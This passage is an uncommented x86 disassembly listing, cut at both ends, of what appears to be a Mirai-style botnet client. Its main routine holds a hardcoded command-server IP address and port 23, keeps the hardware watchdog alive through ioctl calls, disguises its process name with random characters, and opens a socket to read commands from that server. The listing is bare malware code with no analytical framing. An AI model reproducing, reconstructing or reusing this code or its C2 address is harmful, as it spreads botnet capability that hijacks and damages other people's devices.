804a8f9: 0f 85 c1 fd ff ff jne 0x804a6c0
804a8ff: 83 ec 0c sub $0xc,%esp
804a902: 6a 01 push $0x1
804a904: e8 83 31 00 00 call 0x804da8c
804a909: 83 c4 10 add $0x10,%esp
804a90c: e9 af fd ff ff jmp 0x804a6c0
804a911: 50 push %eax
804a912: 50 push %eax
804a913: 6a 00 push $0x0
804a915: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax
804a91c: 50 push %eax
804a91d: e8 c2 18 00 00 call 0x804c1e4
804a922: 83 c4 10 add $0x10,%esp
804a925: 89 c3 mov %eax,%ebx
804a927: 83 f8 ff cmp $0xffffffff,%eax
804a92a: 75 11 jne 0x804a93d
804a92c: 55 push %ebp
804a92d: 55 push %ebp
804a92e: 6a 09 push $0x9
804a930: 8b 7c 24 2c mov 0x2c(%esp),%edi
804a934: 57 push %edi
804a935: e8 78 18 00 00 call 0x804c1b2
804a93a: 83 c4 10 add $0x10,%esp
804a93d: 83 ec 0c sub $0xc,%esp
804a940: 53 push %ebx
804a941: e8 8d 17 00 00 call 0x804c0d3
804a946: 83 c4 10 add $0x10,%esp
804a949: 56 push %esi
804a94a: 56 push %esi
804a94b: 6a 00 push $0x0
804a94d: 8d bc 24 40 20 00 00 lea 0x2040(%esp),%edi
804a954: 57 push %edi
804a955: e8 8a 18 00 00 call 0x804c1e4
804a95a: 89 44 24 38 mov %eax,0x38(%esp)
804a95e: 83 c4 10 add $0x10,%esp
804a961: 40 inc %eax
804a962: 0f 84 f9 00 00 00 je 0x804aa61
804a968: 83 ec 0c sub $0xc,%esp
804a96b: 6a 12 push $0x12
804a96d: e8 be 0c 00 00 call 0x804b630
804a972: c7 04 24 13 00 00 00 movl $0x13,(%esp)
804a979: e8 b2 0c 00 00 call 0x804b630
804a97e: 59 pop %ecx
804a97f: 5b pop %ebx
804a980: 8d 84 24 10 21 00 00 lea 0x2110(%esp),%eax
804a987: 50 push %eax
804a988: 6a 12 push $0x12
804a98a: e8 f1 0b 00 00 call 0x804b580
804a98f: 89 44 24 34 mov %eax,0x34(%esp)
804a993: 58 pop %eax
804a994: 5a pop %edx
804a995: 8d 84 24 0c 21 00 00 lea 0x210c(%esp),%eax
804a99c: 50 push %eax
804a99d: 6a 13 push $0x13
804a99f: e8 dc 0b 00 00 call 0x804b580
804a9a4: 83 c4 10 add $0x10,%esp
804a9a7: 89 c5 mov %eax,%ebp
804a9a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
804a9b0: 50 push %eax
804a9b1: 68 00 10 00 00 push $0x1000
804a9b6: 8d 44 24 3c lea 0x3c(%esp),%eax
804a9ba: 50 push %eax
804a9bb: 8b 44 24 34 mov 0x34(%esp),%eax
804a9bf: 50 push %eax
804a9c0: e8 a9 18 00 00 call 0x804c26e
804a9c5: 83 c4 10 add $0x10,%esp
804a9c8: 89 c1 mov %eax,%ecx
804a9ca: 85 c0 test %eax,%eax
804a9cc: 0f 8e 36 01 00 00 jle 0x804ab08
804a9d2: 8b 84 24 08 21 00 00 mov 0x2108(%esp),%eax
804a9d9: 89 44 24 0c mov %eax,0xc(%esp)
804a9dd: 39 c1 cmp %eax,%ecx
804a9df: 7c 23 jl 0x804aa04
804a9e1: 89 ca mov %ecx,%edx
804a9e3: 31 f6 xor %esi,%esi
804a9e5: 4a dec %edx
804a9e6: 8d 5c 24 34 lea 0x34(%esp),%ebx
804a9ea: 83 fa ff cmp $0xffffffff,%edx
804a9ed: 74 15 je 0x804aa04
804a9ef: 90 nop
804a9f0: 8b 7c 24 24 mov 0x24(%esp),%edi
804a9f4: 8a 03 mov (%ebx),%al
804a9f6: 3a 04 37 cmp (%edi,%esi,1),%al
804a9f9: 74 2d je 0x804aa28
804a9fb: 31 f6 xor %esi,%esi
804a9fd: 4a dec %edx
804a9fe: 43 inc %ebx
804a9ff: 83 fa ff cmp $0xffffffff,%edx
804aa02: 75 ec jne 0x804a9f0
804aa04: 8b b4 24 04 21 00 00 mov 0x2104(%esp),%esi
804aa0b: 39 f1 cmp %esi,%ecx
804aa0d: 7c a1 jl 0x804a9b0
804aa0f: 8d 54 24 34 lea 0x34(%esp),%edx
804aa13: 31 db xor %ebx,%ebx
804aa15: 49 dec %ecx
804aa16: 83 f9 ff cmp $0xffffffff,%ecx
804aa19: 74 95 je 0x804a9b0
804aa1b: 8a 02 mov (%edx),%al
804aa1d: 3a 44 1d 00 cmp 0x0(%ebp,%ebx,1),%al
804aa21: 74 7d je 0x804aaa0
804aa23: 31 db xor %ebx,%ebx
804aa25: 42 inc %edx
804aa26: eb ed jmp 0x804aa15
804aa28: 46 inc %esi
804aa29: 39 74 24 0c cmp %esi,0xc(%esp)
804aa2d: 75 ce jne 0x804a9fd
804aa2f: 83 ec 0c sub $0xc,%esp
804aa32: 6a 12 push $0x12
804aa34: e8 77 0b 00 00 call 0x804b5b0
804aa39: c7 04 24 13 00 00 00 movl $0x13,(%esp)
804aa40: e8 6b 0b 00 00 call 0x804b5b0
804aa45: 58 pop %eax
804aa46: 8b 6c 24 34 mov 0x34(%esp),%ebp
804aa4a: 55 push %ebp
804aa4b: e8 83 16 00 00 call 0x804c0d3
804aa50: 5e pop %esi
804aa51: 5f pop %edi
804aa52: 6a 09 push $0x9
804aa54: 8b 5c 24 2c mov 0x2c(%esp),%ebx
804aa58: 53 push %ebx
804aa59: e8 54 17 00 00 call 0x804c1b2
804aa5e: 83 c4 10 add $0x10,%esp
804aa61: 51 push %ecx
804aa62: 51 push %ecx
804aa63: 6a 40 push $0x40
804aa65: 8d bc 24 40 20 00 00 lea 0x2040(%esp),%edi
804aa6c: 57 push %edi
804aa6d: e8 1e 12 00 00 call 0x804bc90
804aa72: 58 pop %eax
804aa73: 5a pop %edx
804aa74: 6a 40 push $0x40
804aa76: 8d 84 24 80 20 00 00 lea 0x2080(%esp),%eax
804aa7d: 50 push %eax
804aa7e: e8 0d 12 00 00 call 0x804bc90
804aa83: c7 04 24 01 00 00 00 movl $0x1,(%esp)
804aa8a: e8 fd 2f 00 00 call 0x804da8c
804aa8f: 8b 6c 24 30 mov 0x30(%esp),%ebp
804aa93: 8b 74 24 24 mov 0x24(%esp),%esi
804aa97: 83 c4 10 add $0x10,%esp
804aa9a: e9 21 fc ff ff jmp 0x804a6c0
804aa9f: 90 nop
804aaa0: 43 inc %ebx
804aaa1: 39 de cmp %ebx,%esi
804aaa3: 74 8a je 0x804aa2f
804aaa5: 42 inc %edx
804aaa6: e9 6a ff ff ff jmp 0x804aa15
804aaab: 83 ec 0c sub $0xc,%esp
804aaae: 68 d0 a5 00 00 push $0xa5d0
804aab3: e8 88 f1 ff ff call 0x8049c40
804aab8: 83 c4 10 add $0x10,%esp
804aabb: 84 c0 test %al,%al
804aabd: 0f 85 2a fb ff ff jne 0x804a5ed
804aac3: 83 ec 0c sub $0xc,%esp
804aac6: 68 00 50 00 00 push $0x5000
804aacb: e8 70 f1 ff ff call 0x8049c40
804aad0: 83 c4 10 add $0x10,%esp
804aad3: 84 c0 test %al,%al
804aad5: 0f 85 12 fb ff ff jne 0x804a5ed
804aadb: 83 ec 0c sub $0xc,%esp
804aade: 68 ce 85 00 00 push $0x85ce
804aae3: e8 58 f1 ff ff call 0x8049c40
804aae8: 83 c4 10 add $0x10,%esp
804aaeb: 84 c0 test %al,%al
804aaed: 0f 85 fa fa ff ff jne 0x804a5ed
804aaf3: 83 ec 0c sub $0xc,%esp
804aaf6: 68 91 5f 00 00 push $0x5f91
804aafb: e8 40 f1 ff ff call 0x8049c40
804ab00: 83 c4 10 add $0x10,%esp
804ab03: e9 e5 fa ff ff jmp 0x804a5ed
804ab08: 83 ec 0c sub $0xc,%esp
804ab0b: 6a 12 push $0x12
804ab0d: e8 9e 0a 00 00 call 0x804b5b0
804ab12: c7 04 24 13 00 00 00 movl $0x13,(%esp)
804ab19: e8 92 0a 00 00 call 0x804b5b0
804ab1e: 58 pop %eax
804ab1f: 8b 44 24 34 mov 0x34(%esp),%eax
804ab23: 50 push %eax
804ab24: e8 aa 15 00 00 call 0x804c0d3
804ab29: 83 c4 10 add $0x10,%esp
804ab2c: e9 30 ff ff ff jmp 0x804aa61
804ab31: 90 nop
804ab32: 90 nop
804ab33: 90 nop
804ab34: 90 nop
804ab35: 90 nop
804ab36: 90 nop
804ab37: 90 nop
804ab38: 90 nop
804ab39: 90 nop
804ab3a: 90 nop
804ab3b: 90 nop
804ab3c: 90 nop
804ab3d: 90 nop
804ab3e: 90 nop
804ab3f: 90 nop
804ab40: 83 ec 18 sub $0x18,%esp
804ab43: 6a 01 push $0x1
804ab45: e8 e6 0a 00 00 call 0x804b630
804ab4a: c7 04 24 82 e8 04 08 movl $0x804e882,(%esp)
804ab51: e8 e1 1a 00 00 call 0x804c637
804ab56: a3 18 f1 04 08 mov %eax,0x804f118
804ab5b: 58 pop %eax
804ab5c: 5a pop %edx
804ab5d: 6a 00 push $0x0
804ab5f: 6a 01 push $0x1
804ab61: e8 1a 0a 00 00 call 0x804b580
804ab66: 66 8b 00 mov (%eax),%ax
804ab69: c7 04 24 01 00 00 00 movl $0x1,(%esp)
804ab70: 66 a3 16 f1 04 08 mov %ax,0x804f116
804ab76: e8 35 0a 00 00 call 0x804b5b0
804ab7b: 83 c4 1c add $0x1c,%esp
804ab7e: c3 ret
804ab7f: 90 nop
804ab80: 53 push %ebx
804ab81: 83 ec 18 sub $0x18,%esp
804ab84: e8 78 15 00 00 call 0x804c101
804ab89: a3 c8 f0 04 08 mov %eax,0x804f0c8
804ab8e: 85 c0 test %eax,%eax
804ab90: 7e 05 jle 0x804ab97
804ab92: 83 c4 18 add $0x18,%esp
804ab95: 5b pop %ebx
804ab96: c3 ret
804ab97: 40 inc %eax
804ab98: 74 f8 je 0x804ab92
804ab9a: c7 44 24 14 01 00 00 movl $0x1,0x14(%esp)
804aba1: 00
804aba2: 83 ec 0c sub $0xc,%esp
804aba5: 6a 17 push $0x17
804aba7: e8 84 0a 00 00 call 0x804b630
804abac: c7 04 24 18 00 00 00 movl $0x18,(%esp)
804abb3: e8 78 0a 00 00 call 0x804b630
804abb8: 5b pop %ebx
804abb9: 58 pop %eax
804abba: 6a 00 push $0x0
804abbc: 6a 17 push $0x17
804abbe: e8 bd 09 00 00 call 0x804b580
804abc3: 5a pop %edx
804abc4: 59 pop %ecx
804abc5: 6a 02 push $0x2
804abc7: 50 push %eax
804abc8: e8 17 16 00 00 call 0x804c1e4
804abcd: 83 c4 10 add $0x10,%esp
804abd0: 89 c3 mov %eax,%ebx
804abd2: 83 f8 ff cmp $0xffffffff,%eax
804abd5: 74 38 je 0x804ac0f
804abd7: 50 push %eax
804abd8: 8d 44 24 18 lea 0x18(%esp),%eax
804abdc: 50 push %eax
804abdd: 68 04 57 04 80 push $0x80045704
804abe2: 53 push %ebx
804abe3: e8 8b 15 00 00 call 0x804c173
804abe8: 83 c4 10 add $0x10,%esp
804abeb: 90 nop
804abec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
804abf0: 51 push %ecx
804abf1: 6a 00 push $0x0
804abf3: 68 05 57 04 80 push $0x80045705
804abf8: 53 push %ebx
804abf9: e8 75 15 00 00 call 0x804c173
804abfe: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
804ac05: e8 82 2e 00 00 call 0x804da8c
804ac0a: 83 c4 10 add $0x10,%esp
804ac0d: eb e1 jmp 0x804abf0
804ac0f: 53 push %ebx
804ac10: 53 push %ebx
804ac11: 6a 00 push $0x0
804ac13: 6a 18 push $0x18
804ac15: e8 66 09 00 00 call 0x804b580
804ac1a: 5a pop %edx
804ac1b: 59 pop %ecx
804ac1c: 6a 02 push $0x2
804ac1e: 50 push %eax
804ac1f: e8 c0 15 00 00 call 0x804c1e4
804ac24: 83 c4 10 add $0x10,%esp
804ac27: 89 c3 mov %eax,%ebx
804ac29: 83 f8 ff cmp $0xffffffff,%eax
804ac2c: 75 a9 jne 0x804abd7
804ac2e: 83 ec 0c sub $0xc,%esp
804ac31: 6a 17 push $0x17
804ac33: e8 78 09 00 00 call 0x804b5b0
804ac38: c7 04 24 18 00 00 00 movl $0x18,(%esp)
804ac3f: e8 6c 09 00 00 call 0x804b5b0
804ac44: c7 04 24 00 00 00 00 movl $0x0,(%esp)
804ac4b: e8 d5 2d 00 00 call 0x804da25
804ac50: 8d 4c 24 04 lea 0x4(%esp),%ecx
804ac54: 83 e4 f0 and $0xfffffff0,%esp
804ac57: ff 71 fc pushl -0x4(%ecx)
804ac5a: 55 push %ebp
804ac5b: 57 push %edi
804ac5c: 56 push %esi
804ac5d: 53 push %ebx
804ac5e: 51 push %ecx
804ac5f: 81 ec 88 05 00 00 sub $0x588,%esp
804ac65: 8b 19 mov (%ecx),%ebx
804ac67: 8b 69 04 mov 0x4(%ecx),%ebp
804ac6a: c7 84 24 78 05 00 00 movl $0x0,0x578(%esp)
804ac71: 00 00 00 00
804ac75: e8 a6 11 00 00 call 0x804be20
804ac7a: 66 c7 05 14 f1 04 08 movw $0x2,0x804f114
804ac81: 02 00
804ac83: a3 08 f1 04 08 mov %eax,0x804f108
804ac88: c7 05 18 f1 04 08 b0 movl $0x591a7bb0,0x804f118
804ac8f: 7b 1a 59
804ac92: 66 c7 05 16 f1 04 08 movw $0x1700,0x804f116
804ac99: 00 17
804ac9b: e8 10 0a 00 00 call 0x804b6b0
804aca0: c7 05 30 f0 04 08 40 movl $0x804ab40,0x804f030
804aca7: ab 04 08
804acaa: e8 f1 06 00 00 call 0x804b3a0
804acaf: 50 push %eax
804acb0: 50 push %eax
804acb1: 6a 20 push $0x20
804acb3: 8d 84 24 3c 05 00 00 lea 0x53c(%esp),%eax
804acba: 50 push %eax
804acbb: e8 d0 0f 00 00 call 0x804bc90
804acc0: 83 c4 10 add $0x10,%esp
804acc3: 83 fb 02 cmp $0x2,%ebx
804acc6: 0f 84 27 01 00 00 je 0x804adf3
804accc: e8 7f 06 00 00 call 0x804b350
804acd1: 83 ec 0c sub $0xc,%esp
804acd4: 89 c7 mov %eax,%edi
804acd6: 8b 45 00 mov 0x0(%ebp),%eax
804acd9: 50 push %eax
804acda: e8 21 0f 00 00 call 0x804bc00
804acdf: 5e pop %esi
804ace0: 8b 4d 00 mov 0x0(%ebp),%ecx
804ace3: 51 push %ecx
804ace4: 89 c3 mov %eax,%ebx
804ace6: e8 15 0f 00 00 call 0x804bc00
804aceb: be 14 00 00 00 mov $0x14,%esi
804acf0: 89 c1 mov %eax,%ecx
804acf2: 89 f0 mov %esi,%eax
804acf4: 29 d8 sub %ebx,%eax
804acf6: 31 d2 xor %edx,%edx
804acf8: 89 c3 mov %eax,%ebx
804acfa: 89 f8 mov %edi,%eax
804acfc: f7 f3 div %ebx
804acfe: 89 d3 mov %edx,%ebx
804ad00: 8d bc 24 60 05 00 00 lea 0x560(%esp),%edi
804ad07: 01 cb add %ecx,%ebx
804ad09: 58 pop %eax
804ad0a: 5a pop %edx
804ad0b: 53 push %ebx
804ad0c: 57 push %edi
804ad0d: e8 ce 06 00 00 call 0x804b3e0
804ad12: c6 84 1c 60 05 00 00 movb $0x0,0x560(%esp,%ebx,1)
804ad19: 00
804ad1a: 5b pop %ebx
804ad1b: 58 pop %eax
804ad1c: 57 push %edi
804ad1d: 8b 4d 00 mov 0x0(%ebp),%ecx
804ad20: 51 push %ecx
804ad21: e8 fa 0e 00 00 call 0x804bc20
804ad26: 58 pop %eax
804ad27: 5a pop %edx
804ad28: 6a 20 push $0x20
804ad2a: 57 push %edi
804ad2b: e8 60 0f 00 00 call 0x804bc90
804ad30: e8 1b 06 00 00 call 0x804b350
804ad35: 89 44 24 2c mov %eax,0x2c(%esp)
804ad39: 58 pop %eax
804ad3a: 8b 45 00 mov 0x0(%ebp),%eax
804ad3d: 50 push %eax
804ad3e: e8 bd 0e 00 00 call 0x804bc00
804ad43: 8b 4d 00 mov 0x0(%ebp),%ecx
804ad46: 89 c3 mov %eax,%ebx
804ad48: 58 pop %eax
804ad49: 29 de sub %ebx,%esi
804ad4b: 51 push %ecx
804ad4c: e8 af 0e 00 00 call 0x804bc00
804ad51: 31 d2 xor %edx,%edx
804ad53: 89 c1 mov %eax,%ecx
804ad55: 8b 44 24 2c mov 0x2c(%esp),%eax
804ad59: f7 f6 div %esi
804ad5b: 89 d3 mov %edx,%ebx
804ad5d: 58 pop %eax
804ad5e: 01 cb add %ecx,%ebx
804ad60: 5a pop %edx
804ad61: 53 push %ebx
804ad62: 57 push %edi
804ad63: e8 78 06 00 00 call 0x804b3e0
804ad68: c6 84 1c 60 05 00 00 movb $0x0,0x560(%esp,%ebx,1)
804ad6f: 00
804ad70: 5d pop %ebp
804ad71: 58 pop %eax
804ad72: 57 push %edi
804ad73: 6a 0f push $0xf
804ad75: e8 b5 14 00 00 call 0x804c22f
804ad7a: c7 04 24 03 00 00 00 movl $0x3,(%esp)
804ad81: e8 aa 08 00 00 call 0x804b630
804ad86: 5e pop %esi
804ad87: 5f pop %edi
804ad88: 8d 84 24 80 05 00 00 lea 0x580(%esp),%eax
804ad8f: 50 push %eax
804ad90: 6a 03 push $0x3
804ad92: e8 e9 07 00 00 call 0x804b580
804ad97: 83 c4 0c add $0xc,%esp
804ad9a: 8b 9c 24 7c 05 00 00 mov 0x57c(%esp),%ebx
804ada1: 53 push %ebx
804ada2: 50 push %eax
804ada3: 6a 01 push $0x1
804ada5: e8 f1 15 00 00 call 0x804c39b
804adaa: 83 c4 0c add $0xc,%esp
804adad: 6a 01 push $0x1
804adaf: 68 92 e8 04 08 push $0x804e892
804adb4: 6a 01 push $0x1
804adb6: e8 e0 15 00 00 call 0x804c39b
804adbb: c7 04 24 03 00 00 00 movl $0x3,(%esp)
804adc2: e8 e9 07 00 00 call 0x804b5b0
804adc7: e8 e4 d7 ff ff call 0x80485b0
804adcc: e8 bf f4 ff ff call 0x804a290
804add1: e8 aa fd ff ff call 0x804ab80
804add6: e8 26 13 00 00 call 0x804c101
804addb: 83 c4 10 add $0x10,%esp
804adde: 85 c0 test %eax,%eax
804ade0: 7e 5e jle 0x804ae40
804ade2: 81 c4 88 05 00 00 add $0x588,%esp
804ade8: 31 c0 xor %eax,%eax
804adea: 59 pop %ecx
804adeb: 5b pop %ebx
804adec: 5e pop %esi
804aded: 5f pop %edi
804adee: 5d pop %ebp
804adef: 8d 61 fc lea -0x4(%ecx),%esp
804adf2: c3 ret
804adf3: 83 ec 0c sub $0xc,%esp
804adf6: 8b 45 04 mov 0x4(%ebp),%eax
804adf9: 50 push %eax
804adfa: e8 01 0e 00 00 call 0x804bc00
804adff: 83 c4 10 add $0x10,%esp
804ae02: 83 f8 1f cmp $0x1f,%eax
804ae05: 0f 8f c1 fe ff ff jg 0x804accc
804ae0b: 50 push %eax
804ae0c: 50 push %eax
804ae0d: 8b 7d 04 mov 0x4(%ebp),%edi
804ae10: 57 push %edi
804ae11: 8d 94 24 3c 05 00 00 lea 0x53c(%esp),%edx
804ae18: 52 push %edx
804ae19: e8 02 0e 00 00 call 0x804bc20
804ae1e: 5e pop %esi
804ae1f: 8b 5d 04 mov 0x4(%ebp),%ebx
804ae22: 53 push %ebx
804ae23: e8 d8 0d 00 00 call 0x804bc00
804ae28: 5a pop %edx
804ae29: 59 pop %ecx
804ae2a: 50 push %eax
804ae2b: 8b 45 04 mov 0x4(%ebp),%eax
804ae2e: 50 push %eax
804ae2f: e8 5c 0e 00 00 call 0x804bc90
804ae34: 83 c4 10 add $0x10,%esp
804ae37: e9 90 fe ff ff jmp 0x804accc
804ae3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
804ae40: e8 d4 14 00 00 call 0x804c319
804ae45: 83 ec 0c sub $0xc,%esp
804ae48: 6a 00 push $0x0
804ae4a: e8 84 12 00 00 call 0x804c0d3
804ae4f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
804ae56: e8 78 12 00 00 call 0x804c0d3
804ae5b: c7 04 24 02 00 00 00 movl $0x2,(%esp)
804ae62: e8 6c 12 00 00 call 0x804c0d3
804ae67: e8 44 d7 ff ff call 0x80485b0
804ae6c: e8 1f f4 ff ff call 0x804a290
804ae71: e8 0a fd ff ff call 0x804ab80
804ae76: c7 44 24 30 00 00 00 movl $0x0,0x30(%esp)
804ae7d: 00
804ae7e: 83 c4 10 add $0x10,%esp
804ae81: 8d ac 24 b0 04 00 00 lea 0x4b0(%esp),%ebp
804ae88: 8d b4 24 30 04 00 00 lea 0x430(%esp),%esi
804ae8f: 90 nop
804ae90: ba 20 00 00 00 mov $0x20,%edx
804ae95: 31 c0 xor %eax,%eax
804ae97: 89 d1 mov %edx,%ecx
804ae99: 89 ef mov %ebp,%edi
804ae9b: fc cld
804ae9c: f3 ab rep stos %eax,%es:(%edi)
804ae9e: 89 d1 mov %edx,%ecx
804aea0: 89 f7 mov %esi,%edi
804aea2: fc cld
804aea3: f3 ab rep stos %eax,%es:(%edi)
804aea5: 8b 15 28 f0 04 08 mov 0x804f028,%edx
804aeab: 83 fa ff cmp $0xffffffff,%edx
804aeae: 74 10 je 0x804aec0
804aeb0: 89 d0 mov %edx,%eax
804aeb2: 83 e2 1f and $0x1f,%edx
804aeb5: c1 e8 05 shr $0x5,%eax
804aeb8: 0f ab 94 84 b0 04 00 bts %edx,0x4b0(%esp,%eax,4)
804aebf: 00
804aec0: 83 3d 2c f0 04 08 ff cmpl $0xffffffff,0x804f02c
804aec7: 0f 84 fa 01 00 00 je 0x804b0c7
804aecd: 80 3d cc f0 04 08 00 cmpb $0x0,0x804f0cc
804aed4: 0f 84 ec 00 00 00 je 0x804afc6
804aeda: a1 2c f0 04 08 mov 0x804f02c,%eax
804aedf: 89 c2 mov %eax,%edx
804aee1: 83 e0 1f and $0x1f,%eax
804aee4: c1 ea 05 shr $0x5,%edx
804aee7: 0f ab 84 94 30 04 00 bts %eax,0x430(%esp,%edx,4)
804aeee: 00
804aeef: 8b 15 2c f0 04 08 mov 0x804f02c,%edx
804aef5: a1 28 f0 04 08 mov 0x804f028,%eax
804aefa: 39 d0 cmp %edx,%eax
804aefc: 7d 02 jge 0x804af00
804aefe: 89 d0 mov %edx,%eax
804af00: c7 84 24 74 05 00 00 movl $0x0,0x574(%esp)
804af07: 00 00 00 00
804af0b: c7 84 24 70 05 00 00 movl $0xa,0x570(%esp)
804af12: 0a 00 00 00
804af16: 83 ec 0c sub $0xc,%esp
804af19: 40 inc %eax
804af1a: 8d 94 24 7c 05 00 00 lea 0x57c(%esp),%edx
804af21: 52 push %edx
804af22: 6a 00 push $0x0
804af24: 56 push %esi
804af25: 55 push %ebp
804af26: 50 push %eax
804af27: e8 ae 13 00 00 call 0x804c2da
804af2c: 83 c4 20 add $0x20,%esp
804af2f: 83 f8 ff cmp $0xffffffff,%eax
804af32: 0f 84 58 ff ff ff je 0x804ae90
804af38: 85 c0 test %eax,%eax
804af3a: 75 2a jne 0x804af66
804af3c: 8b 54 24 20 mov 0x20(%esp),%edx
804af40: b0 06 mov $0x6,%al
804af42: 89 c1 mov %eax,%ecx
804af44: 89 d0 mov %edx,%eax
804af46: c1 fa 1f sar $0x1f,%edx
804af49: 66 c7 84 24 86 05 00 movw $0x0,0x586(%esp)
804af50: 00 00 00
804af53: f7 f9 idiv %ecx
804af55: 8b 44 24 20 mov 0x20(%esp),%eax
804af59: 40 inc %eax
804af5a: 85 d2 test %edx,%edx
804af5c: 89 44 24 20 mov %eax,0x20(%esp)
804af60: 0f 84 5d 02 00 00 je 0x804b1c3
804af66: 80 3d cc f0 04 08 00 cmpb $0x0,0x804f0cc
804af6d: 74 71 je 0x804afe0
804af6f: 8b 0d 2c f0 04 08 mov 0x804f02c,%ecx
804af75: c6 05 cc f0 04 08 00 movb $0x0,0x804f0cc
804af7c: 89 c8 mov %ecx,%eax
804af7e: 89 ca mov %ecx,%edx
804af80: c1 ea 05 shr $0x5,%edx
804af83: 83 e0 1f and $0x1f,%eax
804af86: 0f a3 84 94 30 04 00 bt %eax,0x430(%esp,%edx,4)
804af8d: 00
804af8e: 0f 92 c0 setb %al
804af91: 84 c0 test %al,%al
804af93: 0f 85 9a 01 00 00 jne 0x804b133
804af99: 83 f9 ff cmp $0xffffffff,%ecx
804af9c: 74 0c je 0x804afaa
804af9e: 83 ec 0c sub $0xc,%esp
804afa1: 51 push %ecx
804afa2: e8 2c 11 00 00 call 0x804c0d3
804afa7: 83 c4 10 add $0x10,%esp
804afaa: 83 ec 0c sub $0xc,%esp
804afad: c7 05 2c f0 04 08 ff movl $0xffffffff,0x804f02c
804afb4: ff ff ff
804afb7: 6a 01 push $0x1
804afb9: e8 ce 2a 00 00 call 0x804da8c
804afbe: 83 c4 10 add $0x10,%esp
804afc1: e9 ca fe ff ff jmp 0x804ae90
804afc6: a1 2c f0 04 08 mov 0x804f02c,%eax
804afcb: 89 c2 mov %eax,%edx
804afcd: 83 e0 1f and $0x1f,%eax
804afd0: c1 ea 05 shr $0x5,%edx
804afd3: 0f ab 84 94 b0 04 00 bts %eax,0x4b0(%esp,%edx,4)
804afda: 00
804afdb: e9 0f ff ff ff jmp 0x804aeef
804afe0: 8b 15 2c f0 04 08 mov 0x804f02c,%edx
804afe6: 83 fa ff cmp $0xffffffff,%edx
804afe9: 0f 84 a1 fe ff ff je 0x804ae90
804afef: 89 d0 mov %edx,%eax
804aff1: c1 ea 05 shr $0x5,%edx
804aff4: 83 e0 1f and $0x1f,%eax
804aff7: 0f a3 84 94 b0 04 00 bt %eax,0x4b0(%esp,%edx,4)
804affe: 00
804afff: 0f 92 c0 setb %al
804b002: 84 c0 test %al,%al
804b004: 0f 84 86 fe ff ff je 0x804ae90
804b00a: 66 c7 84 24 86 05 00 movw $0x0,0x586(%esp)
804b011: 00 00 00
804b014: e8 9d 15 00 00 call 0x804c5b6
804b019: 89 c3 mov %eax,%ebx
804b01b: c7 00 00 00 00 00 movl $0x0,(%eax)
804b021: 68 02 40 00 00 push $0x4002
804b026: 6a 02 push $0x2
804b028: 8d 94 24 8e 05 00 00 lea 0x58e(%esp),%edx
804b02f: 52 push %edx
804b030: a1 2c f0 04 08 mov 0x804f02c,%eax
804b035: 50 push %eax
804b036: e8 00 17 00 00 call 0x804c73b
804b03b: 83 c4 10 add $0x10,%esp
804b03e: 83 f8 ff cmp $0xffffffff,%eax
804b041: 0f 84 2c 02 00 00 je 0x804b273
804b047: 85 c0 test %eax,%eax
804b049: 74 5d je 0x804b0a8
804b04b: 66 8b 84 24 86 05 00 mov 0x586(%esp),%ax
804b052: 00
804b053: 66 85 c0 test %ax,%ax
804b056: 0f 84 30 02 00 00 je 0x804b28c
804b05c: 66 c1 c8 08 ror $0x8,%ax
804b060: 66 3d 00 04 cmp $0x400,%ax
804b064: 66 89 84 24 86 05 00 mov %ax,0x586(%esp)
804b06b: 00
804b06c: 0f 87 3c 02 00 00 ja 0x804b2ae
804b072: 25 ff ff 00 00 and $0xffff,%eax
804b077: c7 03 00 00 00 00 movl $0x0,(%ebx)
804b07d: 68 02 40 00 00 push $0x4002
804b082: 50 push %eax
804b083: 8d 44 24 38 lea 0x38(%esp),%eax
804b087: 50 push %eax
804b088: 8b 3d 2c f0 04 08 mov 0x804f02c,%edi
804b08e: 57 push %edi
804b08f: e8 a7 16 00 00 call 0x804c73b
804b094: 83 c4 10 add $0x10,%esp
804b097: 83 f8 ff cmp $0xffffffff,%eax
804b09a: 0f 84 d3 01 00 00 je 0x804b273
804b0a0: 85 c0 test %eax,%eax
804b0a2: 0f 85 26 02 00 00 jne 0x804b2ce
804b0a8: a1 2c f0 04 08 mov 0x804f02c,%eax
804b0ad: 83 f8 ff cmp $0xffffffff,%eax
804b0b0: 0f 84 f4 fe ff ff je 0x804afaa
804b0b6: 83 ec 0c sub $0xc,%esp
804b0b9: 50 push %eax
804b0ba: e8 14 10 00 00 call 0x804c0d3
804b0bf: 83 c4 10 add $0x10,%esp
804b0c2: e9 e3 fe ff ff jmp 0x804afaa
804b0c7: 51 push %ecx
804b0c8: 6a 00 push $0x0
804b0ca: 6a 01 push $0x1
804b0cc: 6a 02 push $0x2
804b0ce: e8 4c 17 00 00 call 0x804c81f
804b0d3: 83 c4 10 add $0x10,%esp
804b0d6: a3 2c f0 04 08 mov %eax,0x804f02c
804b0db: 83 f8 ff cmp $0xffffffff,%eax
804b0de: 0f 84 e9 fd ff ff je 0x804aecd
804b0e4: 52 push %edx
804b0e5: 6a 00 push $0x0
804b0e7: 6a 03 push $0x3
804b0e9: 50 push %eax
804b0ea: e8 4e 0f 00 00 call 0x804c03d
804b0ef: 83 c4 0c add $0xc,%esp
804b0f2: 80 cc 08 or $0x8,%ah
804b0f5: 50 push %eax
804b0f6: 6a 04 push $0x4
804b0f8: a1 2c f0 04 08 mov 0x804f02c,%eax
804b0fd: 50 push %eax
804b0fe: e8 3a 0f 00 00 call 0x804c03d
804b103: a1 30 f0 04 08 mov 0x804f030,%eax
804b108: 83 c4 10 add $0x10,%esp
804b10b: 85 c0 test %eax,%eax
804b10d: 74 02 je 0x804b111
804b10f: ff d0 call *%eax
804b111: c6 05 cc f0 04 08 01 movb $0x1,0x804f0cc
804b118: 50 push %eax
804b119: 6a 10 push $0x10
804b11b: 68 14 f1 04 08 push $0x804f114
804b120: a1 2c f0 04 08 mov 0x804f02c,%eax
804b125: 50 push %eax
804b126: e8 5c 15 00 00 call 0x804c687
804b12b: 83 c4 10 add $0x10,%esp
804b12e: e9 9a fd ff ff jmp 0x804aecd
804b133: c7 84 24 7c 05 00 00 movl $0x0,0x57c(%esp)
804b13a: 00 00 00 00
804b13e: c7 84 24 80 05 00 00 movl $0x4,0x580(%esp)
804b145: 04 00 00 00
804b149: 83 ec 0c sub $0xc,%esp
